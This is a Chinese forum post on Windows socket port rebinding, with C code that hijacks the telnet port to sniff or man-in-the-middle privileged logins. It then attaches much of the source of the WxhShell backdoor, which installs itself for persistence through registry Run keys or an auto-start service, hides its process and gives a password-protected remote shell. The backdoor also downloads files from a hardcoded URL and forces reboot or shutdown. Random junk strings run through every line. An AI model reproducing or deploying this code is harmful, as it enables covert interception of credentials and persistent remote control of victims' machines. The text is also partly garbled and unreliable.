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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Kw'A%7^e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ar.(J  
A 8&%G8d  
  saddr.sin_family = AF_INET; r$*k-c9Bf  
F[Peil+|`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fv)-o&Q#  
B<_T"n'#b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _{-GR-  
DGp'Xx_8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ah~7T~  
)LnHm  
  这意味着什么?意味着可以进行如下的攻击: 0Wk}d(f  
d~YDg{H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kf(% aDYq  
)M}bc1 _  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) haB$W 4x  
|QXW$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nfl6`)oW  
IDcu#Nz`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (swP#t5S  
0*h\/!e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _:=w6jCk  
E7y<iaA{~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TN` pai0  
jtl7t59R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lHZf'P_Wx  
NjL,0Bp  
  #include eK`n5Z&Y\  
  #include ,TP^i 0  
  #include @{~x:P5g  
  #include    q"fK"H-j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !+CRS9\D   
  int main() Qx$Yj  
  { #&&^5r-b-  
  WORD wVersionRequested; r?V\X7` +  
  DWORD ret; U9kt7#@FDK  
  WSADATA wsaData; fz,8 <  
  BOOL val; 3+Xz5>"a  
  SOCKADDR_IN saddr; Q +qN`  
  SOCKADDR_IN scaddr; l6a,:*_  
  int err; QNn$`Qz.  
  SOCKET s; S1zV.]  
  SOCKET sc; HQTB4_K\  
  int caddsize; %vyjn&13  
  HANDLE mt; <gJ|Wee  
  DWORD tid;   m<r.sq&;  
  wVersionRequested = MAKEWORD( 2, 2 ); oDA1#-  
  err = WSAStartup( wVersionRequested, &wsaData ); RM QlciG  
  if ( err != 0 ) { [bE9Y;  
  printf("error!WSAStartup failed!\n"); >|H=25N>;  
  return -1; c_&iGQ  
  } nqy\xK#.^  
  saddr.sin_family = AF_INET; {Pu\KRU  
   |PTL!>ym2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KJJ8P`Kx  
DKYrh-MN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,I'Y)SLx  
  saddr.sin_port = htons(23); \y#gh95  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N\ GBjr-d  
  { Qz[~{-<  
  printf("error!socket failed!\n"); 7&OU!gp  
  return -1; 5ahAp];  
  } RIb< 7  
  val = TRUE; }_XKO\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S yX>zN!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'szkn0  
  { Ow mI*`  
  printf("error!setsockopt failed!\n"); @ttcFX1:W  
  return -1; LWf+H 4iZ}  
  } yD5T'np<4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +-`Q}~s+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W<k) '|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kLADd"C  
j {S\X'?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vh4z+JOC  
  { D",ZrwyJ  
  ret=GetLastError(); J'Gn M?M  
  printf("error!bind failed!\n"); 3|g'1X}  
  return -1; b8Y1.y"#  
  } D)f hk!<  
  listen(s,2); (9@6M 8A  
  while(1) A]ciox$AjW  
  { 3mpEF<z  
  caddsize = sizeof(scaddr); aW$7:<A{  
  //接受连接请求 ($[pCdY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GS\-  
  if(sc!=INVALID_SOCKET) 0t6s20*q  
  { JzCfs<D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dt^yEapjM  
  if(mt==NULL) ATH0n>)  
  { cfa#a!Y4  
  printf("Thread Creat Failed!\n"); k h#|`E#,  
  break; d),@&MSN  
  } =i\~][-  
  } .\LWV=B  
  CloseHandle(mt); [m!$01=  
  } qEX59v  
  closesocket(s); }=;N3Q" #y  
  WSACleanup(); s%;18V:pi  
  return 0; x>p=1(L  
  }   jHTaG%oh  
  DWORD WINAPI ClientThread(LPVOID lpParam) 86.!s Q8b  
  { NNb17=q_v  
  SOCKET ss = (SOCKET)lpParam; HO}aLp  
  SOCKET sc; '+Ts IJh  
  unsigned char buf[4096]; C&K%Q3V  
  SOCKADDR_IN saddr; k7f[aM5]  
  long num; ,k+jx53XV  
  DWORD val; _N0x&9S$  
  DWORD ret; q$~S?X5\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fu!:8Wp!(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $A8eMJEpL  
  saddr.sin_family = AF_INET; IcI y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Nr6YQH*[  
  saddr.sin_port = htons(23); rOS fDv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zxTm`Dh;[  
  { \d]&}`'4{f  
  printf("error!socket failed!\n"); U~!97,|ic  
  return -1;  FxD\F  
  } uWvl<{2  
  val = 100; nakhepLN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u A*Op45  
  { N{L]H _=  
  ret = GetLastError(); R qOEQ*k  
  return -1; 5rfGMk <  
  } JrYpZ.Nh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ bD 3  
  { ;x| 4Tm  
  ret = GetLastError();  Js'COO  
  return -1; l?Bv9k.^?  
  } "JbFbcj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :G$NQ* (z  
  { l{_>?]S5  
  printf("error!socket connect failed!\n"); Pg|q{fc  
  closesocket(sc);  w~&bpCB!  
  closesocket(ss); K;gm^  
  return -1; C} Ewi-  
  }  @X  
  while(1) LHR%dt|M  
  { wC..LdSR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KvkiwO(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >{ne!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RkP7}ZA;  
  num = recv(ss,buf,4096,0); ^V_vpr]}P  
  if(num>0) IgR_p7['.  
  send(sc,buf,num,0); Op\l  
  else if(num==0) BY32)8SH  
  break; ]e7D""  
  num = recv(sc,buf,4096,0); +SZ#s :#SE  
  if(num>0) OKxPf]~4E  
  send(ss,buf,num,0); ?Ju=L|  
  else if(num==0) C Vyq/X  
  break; dD@T}^j *|  
  } sW@4r/F>:D  
  closesocket(ss); UOT~L4 G  
  closesocket(sc); 6TlkPM$~2  
  return 0 ; 'hg, W]  
  } <b{Le{QJ*  
 }m\  
a:H}c9 $%  
========================================================== JY_+p9KfyQ  
kc1 *@<L6  
下边附上一个代码,,WXhSHELL 2Q-kD?PO,  
`+k&]z$m  
========================================================== \CX`PZ><  
adHHnH`,  
#include "stdafx.h" _+.z2} M  
.ye5 ;A}  
#include <stdio.h> @1^iWM j  
#include <string.h> p+#uPY1#  
#include <windows.h> ~?+Jt3?,  
#include <winsock2.h> v|CRiwx  
#include <winsvc.h> s:i$s")  
#include <urlmon.h> BVC\~j j  
:,LX3,  
#pragma comment (lib, "Ws2_32.lib") 3:dQN;=  
#pragma comment (lib, "urlmon.lib") wNcf7/ky  
mY |$=n5X  
#define MAX_USER   100 // 最大客户端连接数 Q R\qGhQ~  
#define BUF_SOCK   200 // sock buffer m:ITyQ+  
#define KEY_BUFF   255 // 输入 buffer fL' 42  
y3))I\QT  
#define REBOOT     0   // 重启 (LkGBnXE  
#define SHUTDOWN   1   // 关机 rF>:pS,`&  
C4#'`8E  
#define DEF_PORT   5000 // 监听端口 "Do9gW  
NcB^qv  
#define REG_LEN     16   // 注册表键长度 ){5  $8  
#define SVC_LEN     80   // NT服务名长度 Rb',"` 7  
 ceyZ4M  
// 从dll定义API 0 \&4?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vb\UP&Ip  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ub4j3`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j]M $>2;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <eQS16  
!xA;(<K[^  
// wxhshell配置信息 @]gP"Pp  
struct WSCFG { !C&}e8M|eX  
  int ws_port;         // 监听端口 7o'kdY Jzo  
  char ws_passstr[REG_LEN]; // 口令 G0xk @SE  
  int ws_autoins;       // 安装标记, 1=yes 0=no FgKDk!ci  
  char ws_regname[REG_LEN]; // 注册表键名 Y{f;qbEQH'  
  char ws_svcname[REG_LEN]; // 服务名 $ [0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -YJ7ne]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2PAo tD4+I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C[|jJ9VE,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?.,..p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [;83 IoU}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 : v<|y F  
3{]csZvW  
}; cRI&cN"o  
g.iiT/b  
// default Wxhshell configuration Ro$l/lXl8t  
struct WSCFG wscfg={DEF_PORT, e#<%`\qH  
    "xuhuanlingzhe", #L` @["  
    1, :>\i  
    "Wxhshell", m';:):  
    "Wxhshell", @'7'3+ c  
            "WxhShell Service", ,4)zn6tC  
    "Wrsky Windows CmdShell Service", C8e{9CF  
    "Please Input Your Password: ", qI5_@[S*  
  1, 6zaO$  
  "http://www.wrsky.com/wxhshell.exe", ZdY:I;)s  
  "Wxhshell.exe" 0\k2F,:%4  
    }; "!+q0l1]@  
7??+8T#n*  
// 消息定义模块 ,_F1g<^@u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -'*B%yy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N0vr>e`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6L}$R`s5H  
char *msg_ws_ext="\n\rExit."; \L<Hy)l  
char *msg_ws_end="\n\rQuit."; Pz:,q~  
char *msg_ws_boot="\n\rReboot..."; LW{7|g  
char *msg_ws_poff="\n\rShutdown..."; "6FZX~]s!  
char *msg_ws_down="\n\rSave to "; Kn?>XXAc  
u?&P6|J&  
char *msg_ws_err="\n\rErr!"; S)>L 0^M1  
char *msg_ws_ok="\n\rOK!"; ;mjk`6p  
j[F\f>  
char ExeFile[MAX_PATH]; LeF Z%y)F  
int nUser = 0; +j%!RS$ko  
HANDLE handles[MAX_USER]; +A>>Ak|s  
int OsIsNt; jL<:N 8  
?<%GY dus  
SERVICE_STATUS       serviceStatus; B#OnooJI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &l/2[>D%4  
&&nvv&a  
// 函数声明 hV)D,oN3  
int Install(void); J4;w9[a$  
int Uninstall(void); SRRqIQz  
int DownloadFile(char *sURL, SOCKET wsh); :54ik,l  
int Boot(int flag); LkK%DY  
void HideProc(void); O@ F0UM`!  
int GetOsVer(void); }i^]uW*h  
int Wxhshell(SOCKET wsl); &'TZU"_  
void TalkWithClient(void *cs); $^?Mip  
int CmdShell(SOCKET sock); zn@<>o8hU  
int StartFromService(void); X3-pj<JLY  
int StartWxhshell(LPSTR lpCmdLine); b8r?Dd"T8  
'=Nb`n3%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &5h{XSv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o:W>7~$jr=  
"3(""0Q  
// 数据结构和表定义  iVu  
SERVICE_TABLE_ENTRY DispatchTable[] = KLBU8%  
{ TWZ* *S-  
{wscfg.ws_svcname, NTServiceMain},  _zvCc%  
{NULL, NULL} %@k@tD6  
}; PzMJ^H{  
m(i84~  
// 自我安装 7l/.f SW  
int Install(void) 7/& i'y  
{ 3LN+gXmU  
  char svExeFile[MAX_PATH]; ]w`)"{j5m  
  HKEY key; <2"'R(4",  
  strcpy(svExeFile,ExeFile); U5\^[~vW  
DvB!- |ek  
// 如果是win9x系统,修改注册表设为自启动 O2g9<H   
if(!OsIsNt) { BKvX,[R2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q,9"/@:c,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bA!n;  
  RegCloseKey(key); v[{g "C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }E0~'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  :tBIo7  
  RegCloseKey(key); !}[}YY?',i  
  return 0; rofj&{w  
    } `u$  Rd  
  } H=RzY-\a%  
} X'Q?Mh  
else { ]Wr2 IM  
Z}#'.y\ f  
// 如果是NT以上系统,安装为系统服务 %A64AJZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KSDz3qe  
if (schSCManager!=0) b+Sq[  
{ `?E|frz[  
  SC_HANDLE schService = CreateService `?f6~$1  
  ( n_QSuh/Wn  
  schSCManager, )O\w'|$G  
  wscfg.ws_svcname, 10R#} ~D  
  wscfg.ws_svcdisp, w"ZngrwBl  
  SERVICE_ALL_ACCESS, ndg1E;>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SQ'\Kd=  
  SERVICE_AUTO_START, VzD LGLH  
  SERVICE_ERROR_NORMAL, E:vgG|??  
  svExeFile, H1>~,zc>E  
  NULL, [$M=+YRHMW  
  NULL, K)b@,/5  
  NULL, K</EVt,U~  
  NULL, 0Xo>f"2<f  
  NULL ;E:vsVK  
  ); &n$kVNE  
  if (schService!=0) /5:2g# S4  
  { epN> ;e z  
  CloseServiceHandle(schService); _E'F   
  CloseServiceHandle(schSCManager); 6<1 2j7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7>.d*?eao\  
  strcat(svExeFile,wscfg.ws_svcname); 3E9 )~$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `(tVwX4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [x{z}rYH  
  RegCloseKey(key); ,+2!&"zD  
  return 0; PWciD '!  
    } wN NXUW  
  } @=_4i&]$  
  CloseServiceHandle(schSCManager); I;1W6uD=  
} ,5V w^@F  
} |"}oGL6-  
pPL)!=o!  
return 1; HQ /D)D  
} 4g4[n7  
\ SCi\j/a(  
// 自我卸载 >AK9F. _z  
int Uninstall(void) dCA| )  
{ P* X^)R  
  HKEY key; oZ,J{I!L  
i4T=4q  
if(!OsIsNt) { n( RQre  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `PY=B$?{4  
  RegDeleteValue(key,wscfg.ws_regname); mrmm@?  
  RegCloseKey(key); |\.:h":!0~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Me 5Xd|  
  RegDeleteValue(key,wscfg.ws_regname); H(?)v.%  
  RegCloseKey(key); CP0;<}k  
  return 0; [nc-~T+Mo  
  } ca=sc[ $+  
} sqXwDy+.  
} { 9:vq|  
else { A@uU*]TqJ8  
f/7on| bv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t=nZ1GZyM  
if (schSCManager!=0) uG7?:) pxv  
{ A)#w~X4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o9rZ&Q<  
  if (schService!=0) sU(<L0  
  { ^jb jH I&  
  if(DeleteService(schService)!=0) { #<K'RJn  
  CloseServiceHandle(schService); u>ZH-nw O  
  CloseServiceHandle(schSCManager); {S@gjMuN  
  return 0; s"UUo|hM  
  } ++sbSl)Q  
  CloseServiceHandle(schService); BT)PD9CN(  
  } T mK[^  
  CloseServiceHandle(schSCManager); K 0e*K=UM  
} |.KB  
} ).)^\  
CJjT-(a  
return 1; A^c  (  
} (`&SV$m  
hG~HV{6  
// 从指定url下载文件 *Sg6VGP  
int DownloadFile(char *sURL, SOCKET wsh) ){LU>MW{&  
{ HvR5-?qQ  
  HRESULT hr; XuoyB{U  
char seps[]= "/"; ;V?3Hwl  
char *token; 2FN E ;y(  
char *file; Cxd^i  
char myURL[MAX_PATH]; h ,\5C/  
char myFILE[MAX_PATH]; aX,6y1  
KV8Ok  
strcpy(myURL,sURL); w5 #;Lm  
  token=strtok(myURL,seps); NR,R.N^[  
  while(token!=NULL) :d6]rOpX  
  { {%_D> y  
    file=token; !hFzIp  
  token=strtok(NULL,seps); qZdA%  
  } IyEfisOK?  
<(t{C8>g%  
GetCurrentDirectory(MAX_PATH,myFILE); shD4";8*@  
strcat(myFILE, "\\"); : q>)c]  
strcat(myFILE, file); Quwq_.DU  
  send(wsh,myFILE,strlen(myFILE),0); J`4V\D}n  
send(wsh,"...",3,0); ?bH`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :N !s@6  
  if(hr==S_OK) .,sbqL  
return 0; O5MV&Zb(  
else "574%\#4z  
return 1; 0Bt>JbGs4  
eiCmd =O7  
} Q4Nut  
!LQzf(s;  
// 系统电源模块 Ei<m/v  
int Boot(int flag) ^RE[5h6^q  
{ "Lyb4#M  
  HANDLE hToken; #eF,* d  
  TOKEN_PRIVILEGES tkp; e(?1`1  
yIf^vx_G  
  if(OsIsNt) { i[4!% FxB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Hie% 2V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *~~J1.ja>  
    tkp.PrivilegeCount = 1; Dm%Q96*VAq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,k1ns?i9KH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); beBv|kI4  
if(flag==REBOOT) { l9]nrT1Hy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V$w bmz  
  return 0; g:.LCF  
} IA Ws}xIly  
else { k& M~yb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XI:+EeM?  
  return 0; JC`;hY  
} g\9&L/xDN  
  } m7`S@qG  
  else { )6BySk  
if(flag==REBOOT) { Lxn-M5RPQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GPizR|}h  
  return 0; ~$ Po3]{s  
} E^Ch;)j|  
else { mN l[D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PZvc4  
  return 0; AHMvh 7O?  
} S?zP; iFj  
} [0 rH/{  
O 3?^P"C  
return 1; Rqbz3h~  
} [?=DPE%  
XZQ-Ig18  
// win9x进程隐藏模块 m^zD']  
void HideProc(void) ;pS+S0U   
{ ?&!!(dWFH  
qJJ 5o?'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A k~|r#@  
  if ( hKernel != NULL ) t\]kVo)  
  { 'SXLnoeTa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;1s;"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vx:uqzw#  
    FreeLibrary(hKernel); mE=Tj%+ x  
  } 2"k|IHs1  
3sRI 7g  
return; eoFG$X/PO  
} lYS "  
xb"e'Zh  
// 获取操作系统版本 :?}> Q  
int GetOsVer(void) `9k\~D=D~  
{ 3''Uxlo\  
  OSVERSIONINFO winfo; T24$lhM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1NG[   
  GetVersionEx(&winfo); F&#I[]#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,-kz \N@.  
  return 1; M04u>| ,  
  else IF@vl  
  return 0; 5!wjYQt3  
} cmYzS6f,7  
vR pO0qG  
// 客户端句柄模块 gv&Hu$ ca  
int Wxhshell(SOCKET wsl) )Jw$&%/{1  
{ oLtzPC  
  SOCKET wsh; [S-#}C?~  
  struct sockaddr_in client;  ;\f0II3  
  DWORD myID; +;)Xu}  
~OLyG$JJ  
  while(nUser<MAX_USER) ,,1y0s0`  
{ (w+SmD  
  int nSize=sizeof(client); P(o>UDy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T!pA$eE  
  if(wsh==INVALID_SOCKET) return 1; Z#l6BXK  
^jcVJpyT@R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Er8RUJA  
if(handles[nUser]==0) "HwlN_PA  
  closesocket(wsh); =EH/~NGk  
else a[,p1}!_  
  nUser++; l)~$/#k  
  } Ji1#>;&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wzmQRn;s  
>I0 a$w  
  return 0; Jh36NE8r  
} 0W_u"UY$c  
4H@7t,>  
// 关闭 socket b7">IzAe  
void CloseIt(SOCKET wsh) UZ6y3%G3^  
{ ~Y;Z5e=  
closesocket(wsh); (dy:d^  
nUser--; "\]]?&  
ExitThread(0); ^rO!-  
} snNB;hkj  
;TK$?hrv*1  
// 客户端请求句柄 jK%Lewq  
void TalkWithClient(void *cs) (dx~lMI  
{  @k#xr  
T11>&K)  
  SOCKET wsh=(SOCKET)cs; Q~n%c7  
  char pwd[SVC_LEN]; 3hEbM'L  
  char cmd[KEY_BUFF]; KdzV^6K<c  
char chr[1]; >wFn|7\)s>  
int i,j; 'c]Pm,Ls  
9l|*E  
  while (nUser < MAX_USER) { ,|;\)tT  
&m]jYvRc  
if(wscfg.ws_passstr) { Q4Qf/q;U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k'sPA_|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _EP~PW#J  
  //ZeroMemory(pwd,KEY_BUFF); T.B7QAI. H  
      i=0; wbk$(P'gN  
  while(i<SVC_LEN) { obv_?i1  
(yeWArQ  
  // 设置超时 ]US!3R^  
  fd_set FdRead; AM#s2.@  
  struct timeval TimeOut; :QHh;TIG=<  
  FD_ZERO(&FdRead); \.GA" _y  
  FD_SET(wsh,&FdRead); 1=z\,~ b  
  TimeOut.tv_sec=8; CL?=j| Ea  
  TimeOut.tv_usec=0; &Z9rQH81f>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Po.by~|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e? |4O< @  
!CY*SGO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W'Y(@  
  pwd=chr[0]; ~zvZK]JoX  
  if(chr[0]==0xd || chr[0]==0xa) { "5Z5x%3I  
  pwd=0; vIZFI  
  break; lS!O(NzqE'  
  } 2^Z"4t4  
  i++; nU6UjC|3  
    } 8%a ^j\L  
zyt >(A1  
  // 如果是非法用户,关闭 socket oh9L2"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >7 cDfv"  
} E}#&2n8Y  
LWN9 D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M~y}0Ik  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJFcW+  
1CJAFi>%D  
while(1) { mgodvX  
x cZF_elt7  
  ZeroMemory(cmd,KEY_BUFF); ,E@}=x9p  
N] pw7S%  
      // 自动支持客户端 telnet标准   RX^Xtc"  
  j=0; a1QW0d  
  while(j<KEY_BUFF) { g@>93j=cZU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); myd:"u,}9  
  cmd[j]=chr[0]; 0bSnD|#I  
  if(chr[0]==0xa || chr[0]==0xd) { rd=+[:7L  
  cmd[j]=0; Gq%,'am f  
  break; N0ef5J JM`  
  } :KGPQ@:O  
  j++; Bo'v!bI7  
    } 5aXE^.`  
k @gQY_  
  // 下载文件 LW9F%?e!>  
  if(strstr(cmd,"http://")) { &]A0=h2{P*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MlW*Tugg  
  if(DownloadFile(cmd,wsh)) g; 7u-nP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDMNpl  
  else )M"xCO3a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >LPIvmT4D?  
  } K*p3#iB  
  else { 3BF3$_u)o  
C AN1~  
    switch(cmd[0]) { nV8iYBBym  
  ,s:viXk  
  // 帮助 _NpxV'E  
  case '?': { U8,pe;/ln`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e+<9Sh7&  
    break; 5ci1ce  
  } T {=&>pNK[  
  // 安装 'tjqfR  
  case 'i': { k/BlkjlNE  
    if(Install()) lvLz){  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p9S>H  
    else [| N73m,&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\^W*nQ>l  
    break; !!cN4X  
    } gg Nvm  
  // 卸载 HXkXDX9&'.  
  case 'r': { ,rNud]NM8  
    if(Uninstall()) hf7[<I,jov  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%K~HYN  
    else o*oFCR]j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .kgt? r  
    break; X!@ Y ,  
    } 7" )~JBH  
  // 显示 wxhshell 所在路径 +wI<w|!  
  case 'p': { fX>y^s?y  
    char svExeFile[MAX_PATH]; ToD_9i }6  
    strcpy(svExeFile,"\n\r"); D.ySnYzh  
      strcat(svExeFile,ExeFile); _N0N #L4M  
        send(wsh,svExeFile,strlen(svExeFile),0); /a6i`  
    break; 2@I0p\a  
    } #u +~ ^M  
  // 重启 HuQdQ*Q  
  case 'b': { vTIRydg2b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t >.=q:  
    if(Boot(REBOOT)) 1jaK N*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cIP%t pTW.  
    else { +*aC \4w  
    closesocket(wsh); _1~pG)y$U  
    ExitThread(0); Vjd>j; H  
    } Tk `|{Ph0  
    break; vcaPd}nf  
    } `}rk1rl6  
  // 关机 K6|R ;r5e{  
  case 'd': { %joU}G;"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JU)k+:\a  
